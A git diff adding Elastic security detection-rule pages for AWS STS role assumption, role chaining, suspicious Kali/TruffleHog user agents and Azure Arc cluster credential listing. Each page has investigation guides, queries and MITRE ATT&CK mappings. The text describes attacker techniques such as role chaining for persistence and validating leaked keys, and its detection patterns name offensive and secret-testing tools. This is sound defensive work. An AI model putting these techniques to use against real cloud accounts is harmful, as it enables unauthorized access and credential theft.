Rotate secrets or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[outlined] by AWS. +- Take the actions needed to return affected systems, data, or services to their normal operational levels. +- Identify the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "sts.amazonaws.com" + and event.action: "GetCallerIdentity" + and event.outcome: "success" + and not aws.cloudtrail.user_identity.type: "AssumedRole" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Owner/User Discovery +** ID: T1033 +** Reference URL: https://attack.mitre.org/techniques/T1033/ +* Technique: +** Name: Account Discovery +** ID: T1087 +** Reference URL: https://attack.mitre.org/techniques/T1087/ +* Sub-technique: +** Name: Cloud Account +** ID: T1087.004 +** Reference URL: https://attack.mitre.org/techniques/T1087/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sts-role-assumption-by-service.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sts-role-assumption-by-service.asciidoc new file mode 100644 index 0000000000..4b08cc542d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sts-role-assumption-by-service.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-20-aws-sts-role-assumption-by-service]] +=== AWS STS Role Assumption by Service + +Identifies when a service has assumed a role in AWS Security Token Service (STS). Services can assume a role to obtain temporary credentials and access AWS resources. Adversaries can use this technique for credential access and privilege escalation. This is a New Terms rule that identifies when a service assumes a role in AWS Security Token Service (STS) to obtain temporary credentials and access AWS resources. While often legitimate, adversaries may use this technique for unauthorized access, privilege escalation, or lateral movement within an AWS environment. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Resources: Investigation Guide +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Lateral Movement + +*Version*: 215 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS Role Assumption by Service* + + +This rule identifies instances where AWS STS (Security Token Service) is used to assume a role, granting temporary credentials for AWS resource access. While this action is often legitimate, it can be exploited by adversaries to obtain unauthorized access, escalate privileges, or move laterally within an AWS environment. + + +*Possible Investigation Steps* + + +- **Identify the Actor and Assumed Role**: + - **User Identity**: Review the `aws.cloudtrail.user_identity.invoked_by` field to determine which service initiated the `AssumeRole` action. + - **Role Assumed**: Check the `aws.cloudtrail.resources.arn` field to confirm the assumed role and ensure it aligns with expected responsibilities. + - **Session Name**: Observe the `aws.cloudtrail.flattened.request_parameters.roleSessionName` for context on the session's intended purpose, if available. + - **Expiration Time**: Verify `aws.cloudtrail.flattened.response_elements.credentials.expiration` to determine when the credentials expire or expired. + +- **Inspect the User Agent for Tooling Identification**: + - **User Agent Details**: Review the `user_agent.original` field to identify the tool or SDK used for the role assumption. Indicators include: + - **AWS SDKs (e.g., Boto3)**: Often used in automated workflows or scripts. + - **AWS CLI**: Suggests command-line access, potentially indicating direct user interaction. + - **Custom Tooling**: Unusual user agents may signify custom or suspicious tools. + +- **Contextualize with Related Events**: + - **Review Event Patterns**: Check surrounding CloudTrail events to see if other actions coincide with this `AssumeRole` activity, such as attempts to access sensitive resources. + - **Identify High-Volume Exceptions**: Due to the potential volume of `AssumeRole` events, determine common, legitimate `roleArn` values or `user_agent` patterns, and consider adding these as exceptions to reduce noise. + +- **Evaluate the Privilege Level of the Assumed Role**: + - **Permissions**: Inspect permissions associated with the assumed role to understand its access level. + - **Authorized Usage**: Confirm whether the role is typically used for administrative purposes and if the assuming entity frequently accesses it as part of regular responsibilities. + + +*False Positive Analysis* + + +- **Automated Workflows and Applications**: Many applications or scheduled tasks may assume roles for standard operations. Check user agents and ARNs for consistency with known workflows. +- **Routine AWS Service Actions**: Historical data may reveal if the same service assumes new roles regularly as part of authorized operations. + + +*Response and Remediation* + + +- **Revoke Unauthorized Sessions**: If unauthorized, consider revoking the session by adjusting IAM policies or permissions associated with the assumed role. +- **Enhance Monitoring and Alerts**: Set up enhanced monitoring for high-risk roles, especially those with elevated privileges. +- **Manage Exceptions**: Regularly review and manage high-frequency roles and user agent patterns, adding trusted ARNs and user agents to exception lists to minimize alert fatigue. +- **Incident Response**: If malicious behavior is identified, follow incident response protocols, including containment, investigation, and remediation. + + +*Additional Information* + + +For more information on managing and securing AWS STS, refer to the https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html[AWS STS documentation] and AWS security best practices. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "sts.amazonaws.com" + and event.action: "AssumeRole" + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: "AWSService" + and aws.cloudtrail.user_identity.invoked_by: ( + "ec2.amazonaws.com" or + "lambda.amazonaws.com" or + "rds.amazonaws.com" or + "ssm.amazonaws.com" or + "ecs-tasks.amazonaws.com" or + "ecs.amazonaws.com" or + "eks.amazonaws.com" or + "eks-fargate.amazonaws.com" or + "codepipeline.amazonaws.com" or + "codebuild.amazonaws.com" or + "autoscaling.amazonaws.com") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Temporary Elevated Cloud Access +** ID: T1548.005 +** Reference URL: https://attack.mitre.org/techniques/T1548/005/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sts-role-assumption-by-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sts-role-assumption-by-user.asciidoc new file mode 100644 index 0000000000..f8dd4b6a53 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sts-role-assumption-by-user.asciidoc @@ -0,0 +1,159 @@ +[[prebuilt-rule-8-19-20-aws-sts-role-assumption-by-user]] +=== AWS STS Role Assumption by User + +Identifies when a user or role has assumed a role in AWS Security Token Service (STS). Users can assume a role to obtain temporary credentials and access AWS resources. Adversaries can use this technique for credential access and privilege escalation. This is a New Terms rule that identifies when a user assumes a role in AWS Security Token Service (STS) to obtain temporary credentials and access AWS resources. While often legitimate, adversaries may use this technique for unauthorized access, privilege escalation, or lateral movement within an AWS environment. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Resources: Investigation Guide +* Use Case: Identity and Access Audit +* Tactic: Privilege Escalation +* Tactic: Lateral Movement + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS Role Assumption by User* + + +This rule detects when a user assumes a role in AWS Security Token Service (STS), receiving temporary credentials to access AWS resources. While often used for legitimate purposes, this action can be leveraged by adversaries to obtain unauthorized access, escalate privileges, or move laterally within an AWS environment. + + +*Possible investigation steps* + + +- **Identify the User and Assumed Role**: + - **User Identity**: Check `aws.cloudtrail.user_identity.arn` for details about the initiator of the `AssumeRole` action. + - **Role Assumed**: Review `aws.cloudtrail.resources.arn` to confirm the role assumed and ensure it aligns with the user’s standard permissions. + - **Session Name**: Note `aws.cloudtrail.flattened.request_parameters.roleSessionName` for context on the purpose of the session. + - **Expiration Time**: Use `aws.cloudtrail.flattened.response_elements.credentials.expiration` to confirm the credential expiration. + +- **Inspect User Agent and Source Information**: + - **User Agent**: Analyze the `user_agent.original` field to identify if specific tooling or SDKs like AWS CLI, Boto3, or custom agents were used. + - **Source IP and Geolocation**: Examine `source.ip` and `source.geo` fields to determine the origin of the request, confirming if it aligns with expected locations. + +- **Correlate with Related Events**: + - **Identify Patterns**: Review related CloudTrail events for unusual access patterns, such as resource access or sensitive actions following this `AssumeRole` action. + - **Filter High-Volume Roles**: If this role or user has a high volume of access, evaluate `roleArn` or `user_agent` values for common patterns and add trusted entities as exceptions. + +- **Review the Privileges of the Assumed Role**: + - **Permissions**: Examine permissions associated with the `roleArn` to assess its access scope. + - **Authorized Usage**: Confirm if the role is used frequently for administrative purposes and if this aligns with the user’s regular responsibilities. + + +*False positive analysis* + + +- **Automated Processes and Applications**: Applications or scheduled tasks may assume roles regularly for operational purposes. Validate the consistency of the `user_agent` or `roleArn` with known automated workflows. +- **Standard IAM Policy Usage**: Confirm if the user or application routinely assumes new roles for normal operations by reviewing historical activity. + + +*Response and remediation* + + +- **Terminate Unauthorized Sessions**: If the role assumption is deemed unauthorized, revoke the session by modifying IAM policies or the permissions associated with the assumed role. +- **Strengthen Monitoring and Alerts**: Implement additional monitoring for specific high-risk roles, especially those with elevated permissions. +- **Regularly Manage Exceptions**: Regularly review high-volume roles and user agent patterns to refine alerts, minimizing noise by adding trusted patterns as exceptions. +- **Incident Response**: If confirmed as malicious, follow incident response protocols for containment, investigation, and remediation. + + +*Additional information* + + +For more details on managing and securing AWS STS in your environment, refer to the https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html[AWS STS documentation]. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "aws.cloudtrail" + and event.provider: "sts.amazonaws.com" + and event.action: "AssumeRole" + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: "IAMUser" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sts-role-chaining.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sts-role-chaining.asciidoc new file mode 100644 index 0000000000..4df6d3c605 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-sts-role-chaining.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-20-aws-sts-role-chaining]] +=== AWS STS Role Chaining + +Identifies role chaining activity. Role chaining is when you use one assumed role to assume a second role through the AWS CLI or API. While this a recognized functionality in AWS, role chaining can be abused for privilege escalation if the subsequent assumed role provides additional privileges. Role chaining can also be used as a persistence mechanism as each AssumeRole action results in a refreshed session token with a 1 hour maximum duration. This is a new terms rule that looks for the first occurance of one role (aws.cloudtrail.user_identity.session_context.session_issuer.arn) assuming another (aws.cloudtrail.resources.arn). + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html#id_roles_terms-and-concepts +* https://www.uptycs.com/blog/detecting-anomalous-aws-sessions-temporary-credentials +* https://hackingthe.cloud/aws/post_exploitation/role-chain-juggling/ + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS STS +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Privilege Escalation +* Tactic: Lateral Movement +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS STS Role Chaining* + + +Role chaining occurs when a role assumed with temporary credentials (`AssumeRole`) is used to assume another role. While supported by AWS, chaining can increase risk of Privilege escalation, if the second role grants broader permissions; and Persistence, since each chained AssumeRole refreshes the session with up to 1-hour duration. This new terms rule triggers on the first observed combination of one role (`aws.cloudtrail.user_identity.session_context.session_issuer.arn`) assuming another (`aws.cloudtrail.resources.arn`). + + +*Possible investigation steps* + + +- **Review Alert Context**: Investigate the alert, focusing on `aws.cloudtrail.user_identity.session_context.session_issuer.arn` (the calling role) and `aws.cloudtrail.resources.arn` (the target role). + +- **Determine scope and intent.** Check `aws.cloudtrail.recipient_account_id` and `aws.cloudtrail.resources.account_id` fields to identify whether the chaining is Intra-account (within the same AWS account) or Cross-account (from another AWS account). + +- **Check role privileges.** Compare policies of the calling and target roles. Determine if chaining increases permissions (for example, access to S3 data, IAM modifications, or admin privileges). + +- **Correlate with other activity.** Look for related alerts or CloudTrail activity within ±30 minutes: policy changes, unusual S3 access, or use of sensitive APIs. Use `aws.cloudtrail.user_identity.arn` to track behavior from the same role session, use `aws.cloudtrail.user_identity.session_context.session_issuer.arn` to track broader behavior from the role itself. + +- **Validate legitimacy.** Contact the account or service owner to confirm if the chaining was expected (for example, automation pipelines or federated access flows). + +- **Geography & source.** Review `cloud.region`, `source.address`, and other `geo` fields to assess if the activity originates from expected regions or network ranges. + + +*False positive analysis* + + +- **Expected role chaining.** Some organizations use role chaining as part of multi-account access strategies. Maintain an allowlist of known `issuer.arn` - `target.arn` pairs. +- **Automation and scheduled tasks.** CI/CD systems or monitoring tools may assume roles frequently. Validate by `userAgent` and historical behavior. +- **Test/dev environments.** Development accounts may generate experimental chaining patterns. Tune rules or exceptions to exclude low-risk accounts. + + +*Response and remediation* + + +**Immediate steps** +- **Preserve evidence.** Export triggering CloudTrail events (±30 minutes) into a restricted evidence bucket. Include session context, source IP, and user agent. +- **Notify owners.** Contact the owners of both roles to validate intent. + +**Containment (if suspicious)** +- **Revoke temporary credentials.** https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_revoke-sessions.html[Revoke Session Permissions] if possible, or attach https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSDenyAll.html[AWSDenyALL policy] to the originating role. +- **Restrict risky roles.** Apply least-privilege policies or temporarily deny `sts:AssumeRole` for suspicious principals. +- **Enable monitoring.** Ensure CloudTrail and GuardDuty are active in all regions to detect further chaining. + +**Scope and hunt** +- Search for additional AssumeRole activity by the same `issuer.arn` or `resources.arn` across other accounts and regions. +- Look for privilege escalation attempts (for example, IAM `AttachRolePolicy`, `UpdateAssumeRolePolicy`) or sensitive data access following the chain. + +**Recovery & hardening** +- Apply least privilege to all roles, limiting trust policies to only required principals. +- Enforce MFA where possible on AssumeRole operations. +- Periodically review role chaining patterns to validate necessity; remove unused or risky trust relationships. +- Document and tune new terms exceptions for known, legitimate chains. + + +*Additional information* + + +- https://github.com/aws-samples/aws-incident-response-playbooks/[AWS IR Playbooks]: NIST-aligned templates for evidence, containment, eradication, recovery, post-incident. +- https://github.com/aws-samples/aws-customer-playbook-framework/[AWS Customer Playbook Framework]: Practical response steps for account and IAM misuse scenarios +- AWS IAM Best Practices: https://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html[AWS docs] for reducing risk from temporary credentials. + +==== Setup + + +The AWS Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- + event.dataset : "aws.cloudtrail" and + event.provider : "sts.amazonaws.com" and + event.action : "AssumeRole" and + aws.cloudtrail.user_identity.type : "AssumedRole" and + event.outcome : "success" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-suspicious-user-agent-fingerprint.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-suspicious-user-agent-fingerprint.asciidoc new file mode 100644 index 0000000000..f124f3d572 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-aws-suspicious-user-agent-fingerprint.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-20-aws-suspicious-user-agent-fingerprint]] +=== AWS Suspicious User Agent Fingerprint + +Identifies successful AWS API calls where the CloudTrail user agent indicates offensive tooling or automated credential verification. This includes the AWS CLI or Boto3 reporting a Kali Linux distribution fingerprint (`distrib#kali`), and clients that identify as TruffleHog, which is commonly used to validate leaked secrets against live AWS APIs. These patterns are uncommon for routine production workloads and may indicate compromised credentials, unauthorized access, or security tooling operating outside approved scope. + +*Rule type*: eql + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-user-identity.html +* https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/ +* https://trufflesecurity.com/blog/trufflehog-in-your-logs +* https://kudelskisecurity.com/research/investigating-two-variants-of-the-trivy-supply-chain-compromise + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Tactic: Initial Access +* Use Case: Cloud Threat Detection +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating AWS Suspicious User Agent Fingerprint* + + +AWS CloudTrail records the user agent string for API requests, which can reveal the OS distribution and client tooling. +Two high-signal patterns this rule covers are: + +- **Kali Linux fingerprint** — When the AWS CLI or Boto3 reports `distrib#kali`, the request likely came from a Kali + environment. Kali is widely used for penetration testing and adversarial tradecraft, so this is worth correlating with + identity, network context, and sensitivity of API actions. +- **TruffleHog** — TruffleHog identifies itself in the user agent when verifying whether recovered credentials are still + valid. Observing it against your account may indicate leaked keys are being tested, including through supply-chain or + secret-scanning abuse by a third party. + +This detection focuses on **successful** API activity. Evaluate who performed the action, what was accessed or modified, +and whether the source and tooling align with expectations. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine which IAM + principal was used. +- Check whether this principal normally uses CLI/SDK clients and whether Kali or TruffleHog is ever expected for their role. + +**Review access patterns and actions** +- Examine API calls associated with the matched user agent for high-risk activity such as IAM changes, data access, + snapshot sharing, logging modification, or persistence-related actions. +- Look for sequences indicating initial access or expansion, such as `GetSessionToken`, `AssumeRole`, or privilege + escalation attempts. +- Determine whether the activity scope aligns with the principal’s intended permissions and business function. + +**Inspect source network and tooling context** +- Review `source.ip`, `source.geo` fields, and ASN to determine whether the request originated from an expected corporate + network, VPN, CI/CD egress, or known security testing infrastructure. +- Analyze `user_agent.original` to confirm which pattern matched (`distrib#kali` vs `TruffleHog`) and whether usage looks + interactive, scripted, or scanner-driven. +- Sudden shifts from console-based access to CLI from an offensive distribution, or first-time TruffleHog against the + account, may indicate credential compromise or unauthorized scanning. + +**Correlate with surrounding activity** +- Search for additional CloudTrail events tied to the same access key or session before and after this detection. +- Look for evidence of follow-on actions such as resource creation, configuration changes, or attempts to disable logging + and monitoring services. +- Assess whether the activity represents a single isolated request or part of a broader behavioral chain. + + +*False positive analysis* + + +- Internal red team or authorized assessments may produce Kali-based AWS CLI or SDK traffic. Confirm scope, timing, and + authorization. +- Organizational use of TruffleHog in CI to validate rotated keys or scan artifacts may generate this signal; restrict + exceptions to known roles, repositories, and egress IPs where possible. + + +*Response and remediation* + + +- If the activity is unauthorized, immediately revoke or rotate the affected access keys or invalidate the active + session. +- Review IAM permissions associated with the identity and reduce scope where possible to enforce least privilege. +- Investigate for additional indicators of compromise, including unusual role assumptions, new credential creation, or + data access from the same identity. +- Notify security operations and incident response teams if the activity aligns with known adversary behaviors or appears + part of a larger intrusion. +- Consider adding guardrails or conditional access controls (such as source IP restrictions or MFA enforcement) for + sensitive IAM principals. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +any where event.dataset == "aws.cloudtrail" + and event.outcome == "success" + and ( + ( + stringContains(user_agent.original, "distrib#kali") + or stringContains(user_agent.original, "+kali") + or stringContains(user_agent.original, "kali-amd64") + or stringContains(user_agent.original, "kali-arm64") + ) or ( + stringContains(user_agent.original, "TruffleHog") + or stringContains(user_agent.original, "trufflehog") + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-arc-cluster-credential-access-by-identity-from-unusual-source.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-arc-cluster-credential-access-by-identity-from-unusual-source.asciidoc new file mode 100644 index 0000000000..eef5f2b1e4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-azure-arc-cluster-credential-access-by-identity-from-unusual-source.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-20-azure-arc-cluster-credential-access-by-identity-from-unusual-source]] +=== Azure Arc Cluster Credential Access by Identity from Unusual Source + +Detects when a service principal or user performs an Azure Arc cluster credential listing operation from a source IP not previously associated with that identity. The `listClusterUserCredential` action retrieves credentials for the Arc Cluster Connect proxy, enabling kubectl access through the Azure ARM API. An adversary using stolen service principal credentials will typically call this operation from infrastructure not previously seen for that SP. By tracking the combination of caller identity and source IP, this rule avoids false positives from backend services and CI/CD pipelines that rotate IPs but maintain consistent identity-to-IP patterns over time. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/azure/azure-arc/kubernetes/cluster-connect +* https://learn.microsoft.com/en-us/cli/azure/connectedk8s#az-connectedk8s-proxy +* https://www.ibm.com/think/x-force/identifying-abusing-azure-arc-for-hybrid-escalation-persistence +* https://nvd.nist.gov/vuln/detail/cve-2022-37968 + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Azure Arc +* Data Source: Azure Activity Logs +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Azure Arc Cluster Credential Access by Identity from Unusual Source* + + +The `listClusterUserCredential` operation on an Azure Arc-connected cluster returns credentials that allow the caller +to establish a proxy tunnel via `az connectedk8s proxy`. This proxy routes kubectl commands through the Azure ARM API, +enabling Kubernetes access without direct network connectivity to the cluster API server. + + +*Possible investigation steps* + + +- Identify the caller service principal using `azure.activitylogs.identity.claims.appid` and cross-reference with + Azure AD to determine if this is a known application. +- Check the source IP and geolocation — is this from a country or ASN where your organization operates? +- Correlate with Azure Sign-In Logs around the same time to see the full authentication chain (SP login followed by + credential listing). +- Verify the Azure role used — the `Azure Arc Enabled Kubernetes Cluster User Role` is required for this operation. + Was this role recently assigned? +- Check if subsequent Arc-proxied operations (secret/configmap CRUD) occurred after the credential access. +- Review the service principal creation date in Azure AD — recently created SPs are more suspicious. + + +*Response and remediation* + + +- If the source IP is from an unexpected country or the service principal is not recognized, treat as potential + credential compromise. +- Revoke the service principal credentials and remove Arc RBAC role assignments. +- Review Kubernetes audit logs for any operations performed through the Arc proxy after credential access. +- Rotate any Kubernetes secrets that may have been accessed. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "azure.activitylogs" + and azure.activitylogs.operation_name: "MICROSOFT.KUBERNETES/CONNECTEDCLUSTERS/LISTCLUSTERUSERCREDENTIAL/ACTION" + and event.outcome: (Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Container API +** ID: T1552.007 +** Reference URL: https://attack.mitre.org/techniques/T1552/007/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: 